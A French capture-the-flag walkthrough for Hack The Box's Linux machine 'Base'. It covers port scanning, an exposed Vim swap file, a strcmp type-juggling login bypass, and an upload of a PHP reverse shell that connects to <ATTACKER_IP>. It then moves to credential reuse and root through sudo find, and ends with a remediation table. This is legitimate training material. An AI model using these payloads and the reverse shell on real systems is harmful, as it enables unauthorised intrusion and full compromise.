Passer au contenu

Base

OSDifficultyTarget
LinuxEASY10.129.x.x

Résumé

Machine Linux exposant une application web PHP avec un fichier swap .swp exposé révélant le code source. La vulnérabilité strcmp permet un bypass d’authentification via type juggling. L’upload de fichiers non restreint donne un accès initial. La réutilisation de credentials permet un mouvement latéral vers un utilisateur privilégié.


Reconnaissance

Scan de ports

Fenêtre du terminal
nmap -T4 <IP>
Fenêtre du terminal
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Scan détaillé

Fenêtre du terminal
nmap -A -p 22,80 <IP>
PortServiceVersion
22SSHOpenSSH 7.6p1 Ubuntu
80HTTPApache 2.4.29 (Ubuntu)

Enumération

Directory busting

Fenêtre du terminal
feroxbuster -u http://<IP> -w /path/to/wordlist -t 100

raft-small-directories-lowercase.txt

Répertoires découverts :

  • /login/ - Page de connexion
  • /_uploaded/ - Répertoire d’upload

Fichier swap exposé

En explorant /login/, un fichier .swp est accessible :

Fenêtre du terminal
curl http://<IP>/login/login.php.swp -o login.php.swp
strings login.php.swp

Le code source révèle :

  • Utilisation de strcmp() pour la validation
  • Inclusion de config.php pour les credentials
  • Redirection vers /upload.php après authentification
if (strcmp($username, $_POST['username']) == 0) {
if (strcmp($password, $_POST['password']) == 0) {
$_SESSION['user_id'] = 1;
header("Location: /upload.php");

Exploitation

Bypass strcmp via Type Juggling

La fonction strcmp() comparée avec == 0 (comparaison faible) est vulnérable.

Si on envoie un array au lieu d’une string, strcmp() retourne NULL, et :

NULL == 0 // true (type juggling)

Exploitation via Burp/Caido

Modifier la requête POST :

Fenêtre du terminal
POST /login/login.php HTTP/1.1
Host: <IP>
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<session>
username[]=x&password[]=x

Réponse : HTTP/1.1 302 FoundLocation: /upload.php

Upload de webshell

Créer un fichier shell.php :

<?php
$sock=fsockopen("<ATTACKER_IP>",4444);
$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>

Reverse shell

Fenêtre du terminal
# Listener
nc -lvnp 4444

Uploader shell.php via /upload.php, puis déclencher :

http://<IP>/_uploaded/shell.php

Shell obtenu en tant que www-data.

Upgrade du shell

Fenêtre du terminal
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo && fg

Post-exploitation

Enumération des credentials

Fenêtre du terminal
cat /var/www/html/login/config.php
<?php
$username = "admin";
$password = "**REDACTED**";

Mouvement latéral

Lister les utilisateurs :

Fenêtre du terminal
cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
john:x:1000:1000:John:/home/john:/bin/bash

Réutilisation du mot de passe :

Fenêtre du terminal
su john
# Password: **REDACTED**

Escalade de privilèges

Enumération sudo

Fenêtre du terminal
sudo -l
Fenêtre du terminal
User john may run the following commands on base:
(root : root) /usr/bin/find

Exploitation via GTFOBins

find avec sudo permet d’exécuter des commandes arbitraires :

Fenêtre du terminal
sudo find . -exec /bin/sh \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)

Flags

Fenêtre du terminal
cat /home/john/user.txt
cat /root/root.txt

Questions HTB

#QuestionRéponse
1Which two TCP ports are open on the remote host?22,80
2What is the relative path on the webserver for the login page?/login/login.php
3How many files are present in the ‘/login’ directory?3
4What is the file extension of a swap file?.swp
5Which PHP function is being used in the backend code to compare the user submitted username and password to the valid username and password?strcmp
6In which directory are the uploaded files stored?_uploaded
7Which user exists on the remote host with a home directory?john
8What is the password for the user present on the system?**REDACTED**

A retenir

VulnérabilitéDescriptionRemédiation
Fichier .swp exposéFichiers temporaires Vim accessibles publiquementConfigurer .htaccess pour bloquer les fichiers .swp, .bak, etc.
strcmp Type JugglingComparaison faible == 0 vulnérable aux arraysUtiliser === 0 (comparaison stricte) ou hash_equals()
Upload non restreintPas de validation du type de fichier uploadéValider extension, MIME type, et stocker hors du webroot
Credentials en clairMot de passe stocké en clair dans config.phpUtiliser des variables d’environnement ou un gestionnaire de secrets
Password reuseMême mot de passe pour l’app web et l’utilisateur systèmeUtiliser des mots de passe uniques par service
sudo findPermet d’exécuter des commandes via -execRestreindre les binaires sudo, utiliser des alternatives sécurisées

Outils utilisés

  • nmap
  • feroxbuster / ffuf
  • strings
  • Burp Suite / Caido
  • netcat

Références